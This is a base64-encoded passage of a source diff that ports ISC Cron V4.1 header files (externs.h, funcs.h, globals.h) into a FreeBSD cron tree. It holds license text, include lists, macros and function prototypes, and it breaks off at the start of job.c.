b24vY3Jvbi9leHRlcm5zLmggZnJlZWJzZF9jcm9uL2Nyb24vZXh0ZXJucy5oCi0tLSAvdXNyL3Ny Yy91c3Iuc2Jpbi9jcm9uL2Nyb24vZXh0ZXJucy5oCTIwMTQtMDEtMTYgMjE6NDM6NDkuMDAwMDAw MDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vY3Jvbi9leHRlcm5zLmgJMjAxNC0wNi0xMSAxNjo0 Mjo1NS4yNzI0NDQyNzYgKzAyMDAKQEAgLTEsNzggKzEsMTA0IEBACi0vKgkkRnJlZUJTRDogcmVs ZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9jcm9uL2V4dGVybnMuaCAxNzM0MTIgMjAwNy0xMS0w NyAxMDo1Mzo0MVoga2V2bG8gJAkqLwotCiAvKiBDb3B5cmlnaHQgMTk5MywxOTk0IGJ5IFBhdWwg Vml4aWUKICAqIEFsbCByaWdodHMgcmVzZXJ2ZWQKKyAqLworCisvKgorICogQ29weXJpZ2h0IChj KSAyMDA0IGJ5IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bSwgSW5jLiAoIklTQyIpCisgKiBD b3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBTb2Z0d2FyZSBDb25zb3J0aXVtLCBJ bmMuCiAgKgotICogRGlzdHJpYnV0ZSBmcmVlbHksIGV4Y2VwdDogZG9uJ3QgcmVtb3ZlIG15IG5h bWUgZnJvbSB0aGUgc291cmNlIG9yCi0gKiBkb2N1bWVudGF0aW9uIChkb24ndCB0YWtlIGNyZWRp dCBmb3IgbXkgd29yayksIG1hcmsgeW91ciBjaGFuZ2VzIChkb24ndAotICogZ2V0IG1lIGJsYW1l ZCBmb3IgeW91ciBwb3NzaWJsZSBidWdzKSwgZG9uJ3QgYWx0ZXIgb3IgcmVtb3ZlIHRoaXMKLSAq IG5vdGljZS4gIE1heSBiZSBzb2xkIGlmIGJ1aWxkYWJsZSBzb3VyY2UgaXMgcHJvdmlkZWQgdG8g YnV5ZXIuICBObwotICogd2FycmFudGVlIG9mIGFueSBraW5kLCBleHByZXNzIG9yIGltcGxpZWQs IGlzIGluY2x1ZGVkIHdpdGggdGhpcwotICogc29mdHdhcmU7IHVzZSBhdCB5b3VyIG93biByaXNr LCByZXNwb25zaWJpbGl0eSBmb3IgZGFtYWdlcyAoaWYgYW55KSB0bwotICogYW55b25lIHJlc3Vs dGluZyBmcm9tIHRoZSB1c2Ugb2YgdGhpcyBzb2Z0d2FyZSByZXN0cyBlbnRpcmVseSB3aXRoIHRo ZQotICogdXNlci4KKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5LCBtb2RpZnksIGFuZCBkaXN0 cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVycG9zZSB3aXRoIG9yIHdpdGhvdXQg ZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92ZQorICogY29weXJp Z2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBhcHBlYXIgaW4gYWxsIGNvcGll cy4KICAqCi0gKiBTZW5kIGJ1ZyByZXBvcnRzLCBidWcgZml4ZXMsIGVuaGFuY2VtZW50cywgcmVx dWVzdHMsIGZsYW1lcywgZXRjLiwgYW5kCi0gKiBJJ2xsIHRyeSB0byBrZWVwIGEgdmVyc2lvbiB1 cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVhY2hlZCBhcyBmb2xsb3dzOgotICogUGF1bCBWaXhpZSAg ICAgICAgICA8cGF1bEB2aXguY29tPiAgICAgICAgICB1dW5ldCFkZWN3cmwhdml4aWUhcGF1bAor ICogVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIgQU5EIElTQyBESVNDTEFJTVMgQUxM IFdBUlJBTlRJRVMKKyAqIFdJVEggUkVHQVJEIFRPIFRISVMgU09GVFdBUkUgSU5DTFVESU5HIEFM TCBJTVBMSUVEIFdBUlJBTlRJRVMgT0YKKyAqIE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVTUy4g IElOIE5PIEVWRU5UIFNIQUxMIElTQyBCRSBMSUFCTEUgRk9SCisgKiBBTlkgU1BFQ0lBTCwgRElS RUNULCBJTkRJUkVDVCwgT1IgQ09OU0VRVUVOVElBTCBEQU1BR0VTIE9SIEFOWSBEQU1BR0VTCisg KiBXSEFUU09FVkVSIFJFU1VMVElORyBGUk9NIExPU1MgT0YgVVNFLCBEQVRBIE9SIFBST0ZJVFMs IFdIRVRIRVIgSU4gQU4KKyAqIEFDVElPTiBPRiBDT05UUkFDVCwgTkVHTElHRU5DRSBPUiBPVEhF UiBUT1JUSU9VUyBBQ1RJT04sIEFSSVNJTkcgT1VUCisgKiBPRiBPUiBJTiBDT05ORUNUSU9OIFdJ VEggVEhFIFVTRSBPUiBQRVJGT1JNQU5DRSBPRiBUSElTIFNPRlRXQVJFLgogICovCiAKLSNpZiBk ZWZpbmVkKFBPU0lYKSB8fCBkZWZpbmVkKEFUVCkKLSMgaW5jbHVkZSA8c3RkbGliLmg+Ci0jIGlu Y2x1ZGUgPHVuaXN0ZC5oPgotIyBpbmNsdWRlIDxzdHJpbmcuaD4KLSMgaW5jbHVkZSA8ZGlyZW50 Lmg+Ci0jIGRlZmluZSBESVJfVAlzdHJ1Y3QgZGlyZW50Ci0jIGRlZmluZSBXQUlUX1QJaW50Ci0j IGRlZmluZSBXQUlUX0lTX0lOVCAxCisvKiByZW9yZGVyIHRoZXNlICNpbmNsdWRlJ3MgYXQgeW91 ciBwZXJpbCAqLworCisjaW5jbHVkZSA8c3lzL3BhcmFtLmg+CisjaW5jbHVkZSA8c3lzL3R5cGVz Lmg+CisjaW5jbHVkZSA8c3lzL3RpbWUuaD4KKyNpbmNsdWRlIDxzeXMvd2FpdC5oPgorI2luY2x1 ZGUgPHN5cy9mY250bC5oPgorI2luY2x1ZGUgPHN5cy9maWxlLmg+CisjaW5jbHVkZSA8c3lzL3N0 YXQuaD4KKworI2luY2x1ZGUgPGJpdHN0cmluZy5oPgorI2luY2x1ZGUgPGN0eXBlLmg+CisjaWZu ZGVmIGlzYXNjaWkKKyNkZWZpbmUgaXNhc2NpaShjKSAgICAgICgodW5zaWduZWQpKGMpPD0wMTc3 KQorI2VuZGlmCisjaW5jbHVkZSA8ZGlyZW50Lmg+CisjaW5jbHVkZSA8ZXJybm8uaD4KKyNpbmNs dWRlIDxmY250bC5oPgorI2luY2x1ZGUgPGdycC5oPgorI2luY2x1ZGUgPGxvY2FsZS5oPgorI2lu Y2x1ZGUgPHB3ZC5oPgorI2luY2x1ZGUgPHNpZ25hbC5oPgorI2luY2x1ZGUgPHN0ZGFyZy5oPgor I2luY2x1ZGUgPHN0ZGlvLmg+CisjaW5jbHVkZSA8c3RkbGliLmg+CisjaW5jbHVkZSA8c3RyaW5n Lmg+CisjaW5jbHVkZSA8dGltZS5oPgorI2luY2x1ZGUgPHVuaXN0ZC5oPgorI2luY2x1ZGUgPHV0 aW1lLmg+CisKKyNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KKyNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+ CisjaW5jbHVkZSA8c3lzL3VuLmg+CisKKworI2lmIGRlZmluZWQoU1lTTE9HKQorIyBpbmNsdWRl IDxzeXNsb2cuaD4KKyNlbmRpZgorCisjaWYgZGVmaW5lZChMT0dJTl9DQVApCisjIGluY2x1ZGUg PGxvZ2luX2NhcC5oPgorI2VuZGlmIC8qTE9HSU5fQ0FQKi8KKworI2lmIGRlZmluZWQoQlNEX0FV VEgpCisjIGluY2x1ZGUgPGJzZF9hdXRoLmg+CisjZW5kaWYgLypCU0RfQVVUSCovCisKKyNkZWZp bmUgRElSX1QJc3RydWN0IGRpcmVudAorI2RlZmluZSBXQUlUX1QJaW50CisjZGVmaW5lIFNJR19U CXNpZ190CisjZGVmaW5lIFRJTUVfVAl0aW1lX3QKKyNkZWZpbmUgUElEX1QJcGlkX3QKKworI2lm bmRlZiBUWk5BTUVfQUxSRUFEWV9ERUZJTkVECiBleHRlcm4gY2hhciAqdHpuYW1lWzJdOwotIyBk ZWZpbmUgVFpPTkUodG0pIHR6bmFtZVsodG0pLnRtX2lzZHN0XQogI2VuZGlmCisjZGVmaW5lIFRa T05FKHRtKSB0em5hbWVbKHRtKS50bV9pc2RzdF0KIAotI2lmIGRlZmluZWQoVU5JWFBDKQotIyB1 bmRlZiBXQUlUX1QKLSMgdW5kZWYgV0FJVF9JU19JTlQKLSMgZGVmaW5lIFdBSVRfVAl1bmlvbiB3 YWl0Ci0jZW5kaWYKLQotI2lmIGRlZmluZWQoUE9TSVgpCi0jIGRlZmluZSBTSUdfVAlzaWdfdAot IyBkZWZpbmUgVElNRV9UCXRpbWVfdAotIyBkZWZpbmUgUElEX1QgcGlkX3QKLSNlbmRpZgotCi0j aWYgZGVmaW5lZChBVFQpCi0jIGRlZmluZSBTSUdfVAl2b2lkCi0jIGRlZmluZSBUSU1FX1QJbG9u ZwotIyBkZWZpbmUgUElEX1QgaW50Ci0jZW5kaWYKLQotI2lmICFkZWZpbmVkKFBPU0lYKSAmJiAh ZGVmaW5lZChBVFQpCi0vKiBjbGFzc2ljIEJTRCAqLwotZXh0ZXJuCXRpbWVfdAkJdGltZSgpOwot ZXh0ZXJuCXVuc2lnbmVkCXNsZWVwKCk7Ci1leHRlcm4Jc3RydWN0IHRtCSpsb2NhbHRpbWUoKTsK LWV4dGVybglzdHJ1Y3QgcGFzc3dkCSpnZXRwd25hbSgpOwotZXh0ZXJuCWludAkJZXJybm87Ci1l eHRlcm4Jdm9pZAkJcGVycm9yKCksIGV4aXQoKSwgZnJlZSgpOwotZXh0ZXJuCWNoYXIJCSpnZXRl bnYoKSwgKnN0cmNweSgpLCAqc3RyY2hyKCksICpzdHJ0b2soKTsKLWV4dGVybgl2b2lkCQkqbWFs bG9jKCksICpyZWFsbG9jKCk7Ci0jIGRlZmluZSBTSUdfVAl2b2lkCi0jIGRlZmluZSBUSU1FX1QJ bG9uZwotIyBkZWZpbmUgUElEX1QgaW50Ci0jIGRlZmluZSBXQUlUX1QJdW5pb24gd2FpdAotIyBk ZWZpbmUgRElSX1QJc3RydWN0IGRpcmVjdAotIyBpbmNsdWRlIDxzeXMvZGlyLmg+Ci0jIGRlZmlu ZSBUWk9ORSh0bSkgKHRtKS50bV96b25lCisjaWYgKGRlZmluZWQoQlNEKSkgJiYgKEJTRCA+PSAx OTg2MDYpIHx8IGRlZmluZWQoX19saW51eCkKKyMgZGVmaW5lIEhBVkVfRkNIT1dOCisjIGRlZmlu ZSBIQVZFX0ZDSE1PRAogI2VuZGlmCiAKKyNpZmRlZiBQT1NJWAorI2luY2x1ZGUgPHVuaXN0ZC5o PgorI2lmZGVmIF9QT1NJWF9TQVZFRF9JRFMKKyMgZGVmaW5lIEhBVkVfU0FWRURfVUlEUworI2Vu ZGlmCisjZW5kaWYKKworI2RlZmluZSBNWV9VSUQocHcpIGdldHVpZCgpCisjZGVmaW5lIE1ZX0dJ RChwdykgZ2V0Z2lkKCkKKwogLyogZ2V0b3B0KCkgaXNuJ3QgcGFydCBvZiBQT1NJWC4gIHNvbWUg c3lzdGVtcyBkZWZpbmUgaXQgaW4gPHN0ZGxpYi5oPiBhbnl3YXkuCiAgKiBvZiB0aG9zZSB0aGF0 IGRvLCBzb21lIGNvbXBsYWluIHRoYXQgb3VyIGRlZmluaXRpb24gaXMgZGlmZmVyZW50IGFuZCBz b21lCiAgKiBkbyBub3QuICB0byBhZGQgdG8gdGhlIG1pc2VyeSBhbmQgY29uZnVzaW9uLCBzb21l IHN5c3RlbXMgZGVmaW5lIGdldG9wdCgpCiAgKiBpbiB3YXlzIHRoYXQgd2UgY2Fubm90IHByZWRp Y3Qgb3IgY29tcHJlaGVuZCwgeWV0IGRvIG5vdCBkZWZpbmUgdGhlIGFkanVuY3QKICAqIGV4dGVy bmFsIHZhcmlhYmxlcyBuZWVkZWQgZm9yIHRoZSBpbnRlcmZhY2UuCiAgKi8KLSNpZiAoIWRlZmlu ZWQoQlNEKSB8fCAoQlNEIDwgMTk4OTExKSkgJiYgIWRlZmluZWQoQVRUKSAmJiAhZGVmaW5lZChV TklDT1MpCisjaWYgKCFkZWZpbmVkKEJTRCkgfHwgKEJTRCA8IDE5ODkxMSkpCiBpbnQJZ2V0b3B0 KGludCwgY2hhciAqIGNvbnN0ICosIGNvbnN0IGNoYXIgKik7CiAjZW5kaWYKIApAQCAtODEsNjcg KzEwNywyNSBAQAogZXh0ZXJuCWludCBvcHRpbmQsIG9wdGVyciwgb3B0b3B0OwogI2VuZGlmCiAK LSNpZiBXQUlUX0lTX0lOVAotIyBpZm5kZWYgV0VYSVRTVEFUVVMKLSMgIGRlZmluZSBXRVhJVFNU QVRVUyh4KSAoKCh4KSA+PiA4KSAmIDB4ZmYpCi0jIGVuZGlmCi0jIGlmbmRlZiBXVEVSTVNJRwot IyAgZGVmaW5lIFdURVJNU0lHKHgpCSgoeCkgJiAweDdmKQotIyBlbmRpZgotIyBpZm5kZWYgV0NP UkVEVU1QCi0jICBkZWZpbmUgV0NPUkVEVU1QKHgpCSgoeCkgJiAweDgwKQotIyBlbmRpZgotI2Vs c2UgLypXQUlUX0lTX0lOVCovCi0jIGlmbmRlZiBXRVhJVFNUQVRVUwotIyAgZGVmaW5lIFdFWElU U1RBVFVTKHgpICgoeCkud19yZXRjb2RlKQotIyBlbmRpZgotIyBpZm5kZWYgV1RFUk1TSUcKLSMg IGRlZmluZSBXVEVSTVNJRyh4KQkoKHgpLndfdGVybXNpZykKLSMgZW5kaWYKLSMgaWZuZGVmIFdD T1JFRFVNUAotIyAgZGVmaW5lIFdDT1JFRFVNUCh4KQkoKHgpLndfY29yZWR1bXApCi0jIGVuZGlm Ci0jZW5kaWYgLypXQUlUX0lTX0lOVCovCi0KLSNpZm5kZWYgV0lGU0lHTkFMRUQKLSNkZWZpbmUg V0lGU0lHTkFMRUQoeCkJKFdURVJNU0lHKHgpICE9IDApCi0jZW5kaWYKLSNpZm5kZWYgV0lGRVhJ VEVECi0jZGVmaW5lIFdJRkVYSVRFRCh4KQkoV1RFUk1TSUcoeCkgPT0gMCkKLSNlbmRpZgotCi0j aWZkZWYgTkVFRF9TVFJDQVNFQ01QCi1leHRlcm4JaW50CQlzdHJjYXNlY21wKGNoYXIgKiwgY2hh ciAqKTsKLSNlbmRpZgotCi0jaWZkZWYgTkVFRF9TVFJEVVAKLWV4dGVybgljaGFyCQkqc3RyZHVw KGNoYXIgKik7Ci0jZW5kaWYKLQotI2lmZGVmIE5FRURfU1RSRVJST1IKLWV4dGVybgljaGFyCQkq c3RyZXJyb3IoaW50KTsKLSNlbmRpZgotCi0jaWZkZWYgTkVFRF9GTE9DSworLyogZGlnaXRhbCB1 bml4IG5lZWRzIHRoaXMgYnV0IGRvZXMgbm90IGdpdmUgdXMgYSB3YXkgdG8gaWRlbnRpZnkgaXQu CisgKi8KIGV4dGVybglpbnQJCWZsb2NrKGludCwgaW50KTsKKworLyogbm90IGFsbCBzeXN0ZW1z IHdobyBwcm92aWRlIGZsb2NrKCkgcHJvdmlkZSB0aGVzZSBkZWZpbml0aW9ucy4KKyAqLworI2lm bmRlZiBMT0NLX1NICiAjIGRlZmluZSBMT0NLX1NIIDEKLSMgZGVmaW5lIExPQ0tfRVggMgotIyBk ZWZpbmUgTE9DS19OQiA0Ci0jIGRlZmluZSBMT0NLX1VOIDgKICNlbmRpZgotCi0jaWZkZWYgTkVF RF9TRVRTSUQKLWV4dGVybglpbnQJCXNldHNpZCh2b2lkKTsKKyNpZm5kZWYgTE9DS19FWAorIyBk ZWZpbmUgTE9DS19FWCAyCiAjZW5kaWYKLQotI2lmZGVmIE5FRURfR0VURFRBQkxFU0laRQotZXh0 ZXJuCWludAkJZ2V0ZHRhYmxlc2l6ZSh2b2lkKTsKKyNpZm5kZWYgTE9DS19OQgorIyBkZWZpbmUg TE9DS19OQiA0CiAjZW5kaWYKLQotI2lmZGVmIE5FRURfU0VURU5WCi1leHRlcm4JaW50CQlzZXRl bnYoY2hhciAqLCBjaGFyICosIGludCk7CisjaWZuZGVmIExPQ0tfVU4KKyMgZGVmaW5lIExPQ0tf VU4gOAogI2VuZGlmCiAKLSNpZmRlZiBORUVEX1ZGT1JLCi1leHRlcm4JUElEX1QJCXZmb3JrKHZv aWQpOworI2lmbmRlZiBXQ09SRURVTVAKKyMgZGVmaW5lIFdDT1JFRFVNUChzdCkgICAgICAgICAg KCgoc3QpICYgMDIwMCkgIT0gMCkKICNlbmRpZgpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4v Y3Jvbi9jcm9uL2Z1bmNzLmggZnJlZWJzZF9jcm9uL2Nyb24vZnVuY3MuaAotLS0gL3Vzci9zcmMv dXNyLnNiaW4vY3Jvbi9jcm9uL2Z1bmNzLmgJMTk3MC0wMS0wMSAwMTowMDowMC4wMDAwMDAwMDAg KzAxMDAKKysrIGZyZWVic2RfY3Jvbi9jcm9uL2Z1bmNzLmgJMjAxNC0wNi0xMSAxNjo0Mjo1NS4y NzI0NDQyNzYgKzAyMDAKQEAgLTAsMCArMSw4MSBAQAorLyoKKyAqICRJZDogZnVuY3MuaCx2IDEu OSAyMDA0LzAxLzIzIDE4OjU2OjQyIHZpeGllIEV4cCAkCisgKi8KKworLyoKKyAqIENvcHlyaWdo dCAoYykgMjAwNCBieSBJbnRlcm5ldCBTeXN0ZW1zIENvbnNvcnRpdW0sIEluYy4gKCJJU0MiKQor ICogQ29weXJpZ2h0IChjKSAxOTk3LDIwMDAgYnkgSW50ZXJuZXQgU29mdHdhcmUgQ29uc29ydGl1 bSwgSW5jLgorICoKKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5LCBtb2RpZnksIGFuZCBkaXN0 cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVycG9zZSB3aXRoIG9yIHdpdGhvdXQg ZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92ZQorICogY29weXJp Z2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBhcHBlYXIgaW4gYWxsIGNvcGll cy4KKyAqCisgKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiBBTkQgSVNDIERJU0NM QUlNUyBBTEwgV0FSUkFOVElFUworICogV0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZUV0FSRSBJTkNM VURJTkcgQUxMIElNUExJRUQgV0FSUkFOVElFUyBPRgorICogTUVSQ0hBTlRBQklMSVRZIEFORCBG SVRORVNTLiAgSU4gTk8gRVZFTlQgU0hBTEwgSVNDIEJFIExJQUJMRSBGT1IKKyAqIEFOWSBTUEVD SUFMLCBESVJFQ1QsIElORElSRUNULCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5ZIERB TUFHRVMKKyAqIFdIQVRTT0VWRVIgUkVTVUxUSU5HIEZST00gTE9TUyBPRiBVU0UsIERBVEEgT1Ig UFJPRklUUywgV0hFVEhFUiBJTiBBTgorICogQUNUSU9OIE9GIENPTlRSQUNULCBORUdMSUdFTkNF IE9SIE9USEVSIFRPUlRJT1VTIEFDVElPTiwgQVJJU0lORyBPVVQKKyAqIE9GIE9SIElOIENPTk5F Q1RJT04gV0lUSCBUSEUgVVNFIE9SIFBFUkZPUk1BTkNFIE9GIFRISVMgU09GVFdBUkUuCisgKi8K KworLyogTm90ZXM6CisgKglUaGlzIGZpbGUgaGFzIHRvIGJlIGluY2x1ZGVkIGJ5IGNyb24uaCBh ZnRlciBkYXRhIHN0cnVjdHVyZSBkZWZzLgorICoJV2Ugc2hvdWxkIHJlb3JnIHRoaXMgaW50byBz ZWN0aW9ucyBieSBtb2R1bGUuCisgKi8KKwordm9pZAkJc2V0X2Nyb25fdWlkKHZvaWQpLAorCQlz ZXRfY3Jvbl9jd2Qodm9pZCksCisJCWxvYWRfZGF0YWJhc2UoY3Jvbl9kYiAqKSwKKwkJb3Blbl9s b2dmaWxlKHZvaWQpLAorCQlzaWdwaXBlX2Z1bmModm9pZCksCisJCWpvYl9hZGQoZW50cnkgKiwg dXNlciAqKSwKKwkJZG9fY29tbWFuZChlbnRyeSAqLCB1c2VyICopLAorCQlsaW5rX3VzZXIoY3Jv bl9kYiAqLCB1c2VyICopLAorCQl1bmxpbmtfdXNlcihjcm9uX2RiICosIHVzZXIgKiksCisJCWZy ZWVfdXNlcih1c2VyICopLAorCQllbnZfZnJlZShjaGFyICoqKSwKKwkJdW5nZXRfY2hhcihpbnQs IEZJTEUgKiksCisJCWZyZWVfZW50cnkoZW50cnkgKiksCisJCWFjcXVpcmVfZGFlbW9ubG9jayhp bnQpLAorCQlza2lwX2NvbW1lbnRzKEZJTEUgKiksCisJCWxvZ19pdChjb25zdCBjaGFyICosIGlu dCwgY29uc3QgY2hhciAqLCBjb25zdCBjaGFyICopLAorCQlsb2dfY2xvc2Uodm9pZCksCisJCW1r cHJpbnQoY2hhciAqLCB1bnNpZ25lZCBjaGFyICosIGludCk7CisKK2ludAkJam9iX3J1bnF1ZXVl KHZvaWQpLAorCQlzZXRfZGVidWdfZmxhZ3MoY29uc3QgY2hhciAqKSwKKwkJZ2V0X2NoYXIoRklM RSAqKSwKKwkJZ2V0X3N0cmluZyhjaGFyICosIGludCwgRklMRSAqLCBjaGFyICopLAorCQlzd2Fw X3VpZHModm9pZCksCisJCXN3YXBfdWlkc19iYWNrKHZvaWQpLAorCQlsb2FkX2VudihjaGFyICos IEZJTEUgKiksCisJCWNyb25fcGNsb3NlKEZJTEUgKiksCisJCWdsdWVfc3RyaW5ncyhjaGFyICos IHNpemVfdCwgY29uc3QgY2hhciAqLCBjb25zdCBjaGFyICosIGNoYXIpLAorCQlzdHJjbXBfdW50 aWwoY29uc3QgY2hhciAqLCBjb25zdCBjaGFyICosIGNoYXIpLAorCQlhbGxvd2VkKGNoYXIgKiks CisJCXN0cmR0YihjaGFyICopLAorCQlvcGVuX3NvY2tldCh2b2lkKTsKKworc2l6ZV90CQlzdHJs ZW5zKGNvbnN0IGNoYXIgKiwgLi4uKTsKKworY2hhcgkJKmVudl9nZXQoY2hhciAqLCBjaGFyICoq KSwKKwkJKmFycGFkYXRlKHRpbWVfdCAqKSwKKwkJKm1rcHJpbnRzKHVuc2lnbmVkIGNoYXIgKiwg dW5zaWduZWQgaW50KSwKKwkJKmZpcnN0X3dvcmQoY2hhciAqLCBjaGFyICopLAorCQkqKmVudl9p bml0KHZvaWQpLAorCQkqKmVudl9jb3B5KGNoYXIgKiopLAorCQkqKmVudl9zZXQoY2hhciAqKiwg Y2hhciAqKTsKKwordXNlcgkJKmxvYWRfdXNlcihpbnQsIHN0cnVjdCBwYXNzd2QgKiwgY29uc3Qg Y2hhciAqKSwKKwkJKmZpbmRfdXNlcihjcm9uX2RiICosIGNvbnN0IGNoYXIgKik7CisKK2VudHJ5 CQkqbG9hZF9lbnRyeShGSUxFICosIHZvaWQgKCopKCksIHN0cnVjdCBwYXNzd2QgKiwgY2hhciAq Kik7CisKK0ZJTEUJCSpjcm9uX3BvcGVuKGNoYXIgKiwgY2hhciAqLCBlbnRyeSAqKTsKKworc3Ry dWN0IHBhc3N3ZAkqcHdfZHVwKGNvbnN0IHN0cnVjdCBwYXNzd2QgKik7CisKKyNpZm5kZWYgSEFW RV9UTV9HTVRPRkYKK2xvbmcJCWdldF9nbXRvZmYodGltZV90ICosIHN0cnVjdCB0bSAqKTsKKyNl bmRpZgpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL2dsb2JhbHMuaCBmcmVl YnNkX2Nyb24vY3Jvbi9nbG9iYWxzLmgKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9n bG9iYWxzLmgJMTk3MC0wMS0wMSAwMTowMDowMC4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2Rf Y3Jvbi9jcm9uL2dsb2JhbHMuaAkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MjQ0NDI3NiArMDIwMApA QCAtMCwwICsxLDgwIEBACisvKgorICogJElkOiBnbG9iYWxzLmgsdiAxLjEwIDIwMDQvMDEvMjMg MTk6MDM6MzMgdml4aWUgRXhwICQKKyAqLworCisvKgorICogQ29weXJpZ2h0IChjKSAyMDA0IGJ5 IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bSwgSW5jLiAoIklTQyIpCisgKiBDb3B5cmlnaHQg KGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBTb2Z0d2FyZSBDb25zb3J0aXVtLCBJbmMuCisgKgor ICogUGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwgYW5kIGRpc3RyaWJ1dGUgdGhpcyBz b2Z0d2FyZSBmb3IgYW55CisgKiBwdXJwb3NlIHdpdGggb3Igd2l0aG91dCBmZWUgaXMgaGVyZWJ5 IGdyYW50ZWQsIHByb3ZpZGVkIHRoYXQgdGhlIGFib3ZlCisgKiBjb3B5cmlnaHQgbm90aWNlIGFu ZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVhciBpbiBhbGwgY29waWVzLgorICoKKyAqIFRI RSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiIEFORCBJU0MgRElTQ0xBSU1TIEFMTCBXQVJS QU5USUVTCisgKiBXSVRIIFJFR0FSRCBUTyBUSElTIFNPRlRXQVJFIElOQ0xVRElORyBBTEwgSU1Q TElFRCBXQVJSQU5USUVTIE9GCisgKiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MuICBJTiBO TyBFVkVOVCBTSEFMTCBJU0MgQkUgTElBQkxFIEZPUgorICogQU5ZIFNQRUNJQUwsIERJUkVDVCwg SU5ESVJFQ1QsIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFUyBPUiBBTlkgREFNQUdFUworICogV0hB VFNPRVZFUiBSRVNVTFRJTkcgRlJPTSBMT1NTIE9GIFVTRSwgREFUQSBPUiBQUk9GSVRTLCBXSEVU SEVSIElOIEFOCisgKiBBQ1RJT04gT0YgQ09OVFJBQ1QsIE5FR0xJR0VOQ0UgT1IgT1RIRVIgVE9S VElPVVMgQUNUSU9OLCBBUklTSU5HIE9VVAorICogT0YgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRI RSBVU0UgT1IgUEVSRk9STUFOQ0UgT0YgVEhJUyBTT0ZUV0FSRS4KKyAqLworCisjaWZkZWYgTUFJ Tl9QUk9HUkFNCisjIGRlZmluZSBYVFJOCisjIGRlZmluZSBJTklUKHgpID0geAorI2Vsc2UKKyMg ZGVmaW5lIFhUUk4gZXh0ZXJuCisjIGRlZmluZSBJTklUKHgpCisjZW5kaWYKKworWFRSTiBjb25z dCBjaGFyICpjb3B5cmlnaHRbXQorI2lmZGVmIE1BSU5fUFJPR1JBTQorCT0geworCQkiQCgjKSBJ U0MgQ3JvbiBWNC4xIiwKKwkJIkAoIykgQ29weXJpZ2h0IDE5ODgsMTk4OSwxOTkwLDE5OTMsMTk5 NCBieSBQYXVsIFZpeGllIiwKKwkJIkAoIykgQ29weXJpZ2h0IDE5OTcsMjAwMCBieSBJbnRlcm5l dCBTb2Z0d2FyZSBDb25zb3J0aXVtLCBJbmMuIiwKKwkJIkAoIykgQ29weXJpZ2h0IDIwMDQgYnkg SW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtLCBJbmMuIiwKKwkJIkAoIykgQWxsIHJpZ2h0cyBy ZXNlcnZlZCIsCisJCU5VTEwKKwl9CisjZW5kaWYKKwk7CisKK1hUUk4gY29uc3QgY2hhciAqTW9u dGhOYW1lc1tdCisjaWZkZWYgTUFJTl9QUk9HUkFNCisJPSB7CisJCSJKYW4iLCAiRmViIiwgIk1h ciIsICJBcHIiLCAiTWF5IiwgIkp1biIsCisJCSJKdWwiLCAiQXVnIiwgIlNlcCIsICJPY3QiLCAi Tm92IiwgIkRlYyIsCisJCU5VTEwKKwl9CisjZW5kaWYKKwk7CisKK1hUUk4gY29uc3QgY2hhciAq RG93TmFtZXNbXQorI2lmZGVmIE1BSU5fUFJPR1JBTQorCT0geworCQkiU3VuIiwgIk1vbiIsICJU dWUiLCAiV2VkIiwgIlRodSIsICJGcmkiLCAiU2F0IiwgIlN1biIsCisJCU5VTEwKKwl9CisjZW5k aWYKKwk7CisKK1hUUk4gY2hhcgkqUHJvZ3JhbU5hbWUgSU5JVCgiYW1uZXNpYSIpOworWFRSTiBj aGFyCSpkZWZtYWlsdG87CitYVFJOIGludAlMaW5lTnVtYmVyIElOSVQoMCk7CitYVFJOIHRpbWVf dAlTdGFydFRpbWUgSU5JVCgwKTsKK1hUUk4gaW50CU5vRm9yayBJTklUKDApOworCisjaWYgREVC VUdHSU5HCitYVFJOIGludAlEZWJ1Z0ZsYWdzIElOSVQoMCk7CitYVFJOIGNvbnN0IGNoYXIgKkRl YnVnRmxhZ05hbWVzW10KKyNpZmRlZiBNQUlOX1BST0dSQU0KKwk9IHsKKwkJImV4dCIsICJzY2gi LCAicHJvYyIsICJwYXJzIiwgImxvYWQiLCAibWlzYyIsICJ0ZXN0IiwgImJpdCIsCisJCU5VTEwK Kwl9CisjZW5kaWYKKwk7CisjZWxzZQorI2RlZmluZQlEZWJ1Z0ZsYWdzCTAKKyNlbmRpZiAvKiBE RUJVR0dJTkcgKi8KZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9qb2IuYyBm 